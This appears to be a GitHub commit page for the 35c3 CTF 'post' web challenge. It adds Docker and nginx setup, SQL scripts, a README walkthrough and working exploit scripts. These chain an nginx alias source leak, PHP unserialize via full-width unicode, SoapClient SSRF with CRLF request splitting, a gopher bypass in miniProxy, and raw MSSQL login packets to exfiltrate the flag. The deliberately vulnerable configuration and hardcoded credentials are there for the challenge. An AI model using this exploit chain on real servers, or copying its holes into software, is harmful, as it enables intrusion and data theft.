forked from wonderkun/CTF_web
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
31 changed files
with
2,520 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
# 35c3 CTF challenges | ||
Repository for challenges I have created for the 35c3 CTF. |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
FROM ubuntu:latest | ||
|
||
RUN apt-get -y update | ||
|
||
|
||
RUN DEBIAN_FRONTEND=noninteractive apt-get -y install curl wget vim nginx php-fpm libssl1.0 gnupg gcc g++ make autoconf libc-dev pkg-config php-pear php-soap | ||
|
||
RUN curl -s https://packages.microsoft.com/keys/microsoft.asc | apt-key add - | ||
RUN curl -s https://packages.microsoft.com/config/ubuntu/18.04/prod.list > /etc/apt/sources.list.d/mssql-release.list | ||
|
||
RUN apt-get update | ||
RUN ACCEPT_EULA=Y apt-get -y install msodbcsql17 mssql-tools unixodbc-dev | ||
|
||
RUN apt-get -y install php7.2-dev | ||
|
||
RUN pecl install sqlsrv && pecl install pdo_sqlsrv | ||
|
||
RUN echo extension=sqlsrv.so > /etc/php/7.2/fpm/conf.d/sqlsrv.ini | ||
RUN echo extension=pdo_sqlsrv.so > /etc/php/7.2/fpm/conf.d/pdo_sqlsrv.ini | ||
|
||
RUN apt-get -y install php-curl php-mbstring php-xml php-zip | ||
|
||
COPY default /etc/nginx/sites-available/default | ||
RUN mkdir /var/www/uploads | ||
RUN chown -R root:root /var/www/ | ||
|
||
|
||
# ADD web/html/ /var/www/html/ | ||
# ADD web/miniProxy/ /var/www/miniProxy/ | ||
VOLUME [ "/var/www/" ] | ||
ADD default /var/www/default.backup | ||
|
||
RUN chmod o+wx /var/www/uploads | ||
RUN chmod o-r /var/www/uploads | ||
|
||
|
||
CMD service php7.2-fpm start && service nginx start && /bin/bash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
# 'post' challenge | ||
|
||
This was one of the web challenges. Congrats to 0daysober and LC/BC for solving it! | ||
|
||
## Run | ||
To run it locally just do `docker-compose build && docker-compose up`. | ||
|
||
## Exploit | ||
There are several steps to successfully exploit it. | ||
|
||
1. **nginx misconfiguration** | ||
|
||
You can leak the source code by navigating to `/uploads../`. | ||
2. **arbitrary unserialize** | ||
|
||
After auditing the source code, you will find that the application unserializes strings from the database that have the prefix `$serializedobject$`. However, there is a check to prevent you from injecting strings of that form into the database. Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains `0xEF 0xBC 0x84`, it will be stored as `$`. | ||
3. **SoapClient SSRF** | ||
|
||
SoapClient can perform POST requests if any method is called on the object. The `Attachment` class implements a `__toString` method, which calls `open` on its `za` property. Serializing a SoapClient as `za` property will therefore lead to SSRF. | ||
|
||
4. **SoapClient CRLF injection** | ||
|
||
There is a proxy running on `127.0.0.1:8080`, which you want to reach. Looking at the nginx configuration, it only accepts GET requests. However, SoapClient generates POST requests. But the `_user_agent` property of SoapClient is vulnerable to CRLF injection and thus you can perform a request splitting. By injection `\n\n` followed by a valid GET request, you can reach the proxy via a GET. | ||
|
||
5. **miniProxy URL scheme bypass** | ||
|
||
Here I fucked up a bit. Intended solution was to bypass the check for http/https in miniProxy. This is possible by using `gopher:///...` as miniProxy only verifies http/https if the host is set. Unfortunately, you can also just bypass it with a 301 redirect to gopher... SAD! :D | ||
|
||
6. **Connect to MSSQL via gopher** | ||
|
||
Final step was to connect to MSSQL via gopher using the credentials from the source code leak. The only thing to look out for here is that gopher automatically adds a `\r\n` to the request, which has to be accounted for when creating the MSSQL packets. | ||
|
||
7. **Get flag** | ||
|
||
The miniProxy does not return the output of the request if the resulting URL is different from the requested URL (which it is in our case). Therefore to get the flag you want to copy it to one of your posts: `INSERT INTO posts (userid, content, title, attachment) VALUES (123, (select flag from flag.flag), "foo", "bar");-- -`. You can find your user id by sending a request to the application with the header `Debug: 1`. | ||
|
||
To run the exploit do `python exploit.py` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
#!/bin/bash | ||
exec docker build -t eboda/post . |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
server { | ||
listen 80; | ||
access_log /var/log/nginx/example.log; | ||
|
||
server_name localhost; | ||
|
||
root /var/www/html; | ||
|
||
location /uploads { | ||
autoindex on; | ||
alias /var/www/uploads/; | ||
} | ||
|
||
location / { | ||
alias /var/www/html/; | ||
index index.php; | ||
|
||
location ~ \.php$ { | ||
include snippets/fastcgi-php.conf; | ||
fastcgi_pass unix:/run/php/php7.2-fpm.sock; | ||
} | ||
} | ||
|
||
location /inc/ { | ||
deny all; | ||
} | ||
} | ||
|
||
server { | ||
listen 127.0.0.1:8080; | ||
access_log /var/log/nginx/proxy.log; | ||
|
||
if ( $request_method !~ ^(GET)$ ) { | ||
return 405; | ||
} | ||
root /var/www/miniProxy; | ||
location / { | ||
index index.php; | ||
|
||
location ~ \.php$ { | ||
include snippets/fastcgi-php.conf; | ||
fastcgi_pass unix:/run/php/php7.2-fpm.sock; | ||
} | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
version: '3' | ||
|
||
|
||
services: | ||
db: | ||
build: ./sqlserver | ||
environment: | ||
ACCEPT_EULA: Y | ||
SA_PASSWORD: QIUHDI13hqssiuaQDHsaaseglpduac | ||
ports: | ||
- "1433:1433" | ||
challenge: | ||
build: . | ||
volumes: | ||
- ./web/html:/var/www/html | ||
- ./web/miniProxy:/var/www/miniProxy | ||
container_name: challenge | ||
depends_on: | ||
- db | ||
ports: | ||
- "8000:80" | ||
tty: true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,94 @@ | ||
<?php | ||
|
||
// the prelogin and login packets can either be assembled | ||
// by hand if you are into that kind of stuff. | ||
// or you can just use wireshark :) | ||
$prelogin_packet = "\x12\x01\x00\x2f\x00\x00\x01\x00"; | ||
$prelogin_packet .= "\x00\x00\x1a\x00\x06\x01\x00\x20"; | ||
$prelogin_packet .= "\x00\x01\x02\x00\x21\x00\x01\x03"; | ||
$prelogin_packet .= "\x00\x22\x00\x04\x04\x00\x26\x00"; | ||
$prelogin_packet .= "\x01\xff\x00\x00\x00\x01\x00\x01"; | ||
$prelogin_packet .= "\x02\x00\x00\x00\x00\x00\x00"; | ||
|
||
$login_packet = "\x10\x01\x00\xde\x00\x00\x01\x00"; | ||
$login_packet .= "\xd6\x00\x00\x00\x04\x00\x00\x74"; | ||
$login_packet .= "\x00\x10\x00\x00\x00\x00\x00\x00"; | ||
$login_packet .= "\x54\x30\x00\x00\x00\x00\x00\x00"; | ||
$login_packet .= "\xe0\x00\x00\x08\xc4\xff\xff\xff"; | ||
$login_packet .= "\x09\x04\x00\x00\x5e\x00\x07\x00"; | ||
$login_packet .= "\x6c\x00\x0a\x00\x80\x00\x08\x00"; | ||
$login_packet .= "\x90\x00\x0a\x00\xa4\x00\x09\x00"; | ||
$login_packet .= "\xb6\x00\x00\x00\xb6\x00\x07\x00"; | ||
$login_packet .= "\xc4\x00\x00\x00\xc4\x00\x09\x00"; | ||
$login_packet .= "\x01\x02\x03\x04\x05\x06\xd6\x00"; | ||
$login_packet .= "\x00\x00\xd6\x00\x00\x00\xd6\x00"; | ||
$login_packet .= "\x00\x00\x00\x00\x00\x00\x61\x00"; | ||
$login_packet .= "\x77\x00\x65\x00\x73\x00\x6f\x00"; | ||
$login_packet .= "\x6d\x00\x65\x00\x63\x00\x68\x00"; | ||
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00"; | ||
$login_packet .= "\x6e\x00\x67\x00\x65\x00\x72\x00"; | ||
$login_packet .= "\xc1\xa5\x53\xa5\x53\xa5\x83\xa5"; | ||
$login_packet .= "\xb3\xa5\x82\xa5\xb6\xa5\xb7\xa5"; | ||
$login_packet .= "\x6e\x00\x6f\x00\x64\x00\x65\x00"; | ||
$login_packet .= "\x2d\x00\x6d\x00\x73\x00\x73\x00"; | ||
$login_packet .= "\x71\x00\x6c\x00\x6c\x00\x6f\x00"; | ||
$login_packet .= "\x63\x00\x61\x00\x6c\x00\x68\x00"; | ||
$login_packet .= "\x6f\x00\x73\x00\x74\x00\x54\x00"; | ||
$login_packet .= "\x65\x00\x64\x00\x69\x00\x6f\x00"; | ||
$login_packet .= "\x75\x00\x73\x00\x63\x00\x68\x00"; | ||
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00"; | ||
$login_packet .= "\x6e\x00\x67\x00\x65\x00"; | ||
|
||
|
||
// need to add a ;-- - to execute the query successfully, | ||
// because gopher adds a \x0d\x0a to the end of the request | ||
// and for some reaason the query does not execute if we don't | ||
// comment that out | ||
$query = $argv[1] . ";-- -"; | ||
$query = mb_convert_encoding($query, "utf-16le"); | ||
|
||
// the length of the packet is the length of the query + | ||
// the length of the header (30 bytes) + the \x0d\x0a added | ||
// by gopher protocol | ||
$length = strlen($query) + 30 + 2; | ||
$query_packet = "\x01\x01" . pack("n", $length) . "\x00\x00\x01\x00"; | ||
$query_packet .= "\x16\x00\x00\x00\x12\x00\x00\x00"; | ||
$query_packet .= "\x02\x00\x00\x00\x00\x00\x00\x00"; | ||
$query_packet .= "\x00\x00\x01\x00\x00\x00"; | ||
$query_packet .= $query; | ||
|
||
|
||
|
||
$payload = $prelogin_packet . $login_packet . $query_packet; | ||
|
||
|
||
// we want to deserialize an Attachment, since the application | ||
// will make a call on the "za" property ($this->za->open(...)) | ||
class Attachment { | ||
public function __construct($za) { | ||
$this->za = $za; | ||
} | ||
} | ||
|
||
// We use a SoapClient to make arbitrary HTTP calls. There is a | ||
// proxy running on localhost which we can use to redirect the HTTP | ||
// request to a gopher request (which we will then use to connect to | ||
// MSSQL). | ||
// However, the proxy only accepts GET requests and SoapClient generates | ||
// POST requests only. Luckily, the _user_agent property is vulnerable to | ||
// CRLF injection and we can do a request splitting by injecting two | ||
// new lines and then our GET payload. | ||
class BoapClient { | ||
public $uri = "http://localhost:8080/miniProxy.php"; | ||
public $location = "http://localhost:8080/miniProxy.php"; | ||
public $_user_agent = NULL; | ||
public function __construct() { | ||
global $payload; | ||
$this->_user_agent = "AAAAAHaha\n\nGET /miniProxy.php?gopher:///db:1433/A".str_replace("+","%20",urlencode($payload))." HTTP/1.1\nHost: localhost\n\n"; | ||
} | ||
|
||
} | ||
|
||
|
||
$a = new Attachment(new BoapClient); | ||
echo base64_encode("\$serializedobject\xef\xbc\x84".str_replace("BoapClient", "SoapClient", serialize($a))); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
import requests | ||
import re | ||
import random | ||
import base64 | ||
import subprocess | ||
import string | ||
|
||
TARGET = "http://localhost:8000/" | ||
s = requests.Session() | ||
|
||
def register(user, pw): | ||
url = "{}?page=register".format(TARGET) | ||
data={"username": user, "password": pw} | ||
s.post(url, data=data) | ||
|
||
def login(user, pw): | ||
url = "{}?page=login".format(TARGET) | ||
data={"username": user, "password": pw} | ||
s.post(url, data=data) | ||
|
||
def fetch_uid(): | ||
return s.get(TARGET, headers={"Debug": "1"}).content.decode().split("int(")[1].split(")")[0] | ||
|
||
def inject_object(payload): | ||
serialized = subprocess.check_output(["php", "exploit.php", payload]) | ||
serialized = base64.b64decode(serialized) | ||
files = { | ||
"title": (None, "foobar"), | ||
"content": (None, serialized), | ||
} | ||
s.post("{}?action=create".format(TARGET), files=files).content | ||
|
||
def get_flag(): | ||
res = s.get(TARGET).content.decode() | ||
return re.findall("35c3_[a-zA-Z0-9_]+", res) | ||
|
||
user = "".join(random.choices(string.ascii_uppercase + string.digits, k=6)) | ||
pw = "".join(random.choices(string.ascii_uppercase + string.digits, k=6)) | ||
|
||
register(user, pw) | ||
login(user, pw) | ||
|
||
# get our user id using the "Debug" header | ||
uid = fetch_uid() | ||
|
||
# since we can't see any output of the curl command from the miniProxy, | ||
# we will copy the flag into one of our posts and then view that post afterwards | ||
payload = "insert into posts (userid, title, content, attachment) values ({}, \"foobar\", (select flag from flag.flag), \"foobar\");".format(uid) | ||
inject_object(payload) | ||
|
||
# get the flag :) | ||
print(get_flag()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
#!/bin/sh | ||
exec docker run -it --rm -p 127.0.0.1:8000:80 eboda/post |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
FROM mcr.microsoft.com/mssql/server:2017-latest | ||
ENV ACCEPT_EULA y | ||
ENV SA_PASSWORD QIUHDI13hqssiuaQDHsaaseglpduac | ||
|
||
|
||
ADD *.sql /tmp/ | ||
|
||
RUN /opt/mssql/bin/sqlservr --accept-eula & sleep 20 \ | ||
&& /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_db.sql \ | ||
&& /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_schema.sql \ | ||
&& /opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P "$SA_PASSWORD" -i /tmp/create_tables.sql \ | ||
&& /bin/bash | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
USE master; | ||
CREATE DATABASE challenge; | ||
CREATE LOGIN challenger WITH PASSWORD = 'Foobar1!', DEFAULT_DATABASE = challenge; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
USE challenge; | ||
execute('CREATE SCHEMA challenge'); | ||
execute('CREATE SCHEMA flag'); | ||
CREATE USER challenger FOR LOGIN challenger WITH DEFAULT_SCHEMA = [challenge]; | ||
GRANT SELECT, INSERT, DELETE, UPDATE ON SCHEMA :: [challenge] TO challenger; | ||
GRANT SELECT ON SCHEMA :: [flag] TO challenger; | ||
DENY SELECT ON SCHEMA :: sys TO challenger; | ||
DENY SELECT ON SCHEMA :: INFORMATION_SCHEMA TO challenger; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
USE challenge; | ||
|
||
CREATE TABLE [challenge].[user] ( uid INT IDENTITY(1,1) PRIMARY KEY, username VARCHAR(255) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL); | ||
|
||
CREATE TABLE [challenge].posts ( id INT IDENTITY(1,1) NOT NULL PRIMARY KEY, attachment VARCHAR(4096) NOT NULL, title VARCHAR(255) NOT NULL, content VARCHAR(4096) NOT NULL, userid INT FOREIGN KEY REFERENCES [challenge].[user](uid)); | ||
|
||
CREATE TABLE [flag].[flag] (flag VARCHAR(255)); | ||
INSERT INTO [flag].[flag] (flag) VALUES("35c3_wel1_job_good_d0ne_heyho"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
<?php | ||
session_start(); | ||
include 'inc/db.php'; | ||
include 'inc/user.php'; | ||
|
||
$page = $_GET["page"] ?? ""; | ||
|
||
if (!isset($_SESSION["username"]) && !in_array($page, array("login","register"))) { | ||
header("Location: /?page=login"); | ||
die; | ||
} else if (isset($_SESSION["username"])) { | ||
$USER = new User($_SESSION["username"], $_SESSION["password"]); | ||
if (isset($_SERVER["HTTP_DEBUG"])) var_dump($USER); | ||
} | ||
|
Oops, something went wrong.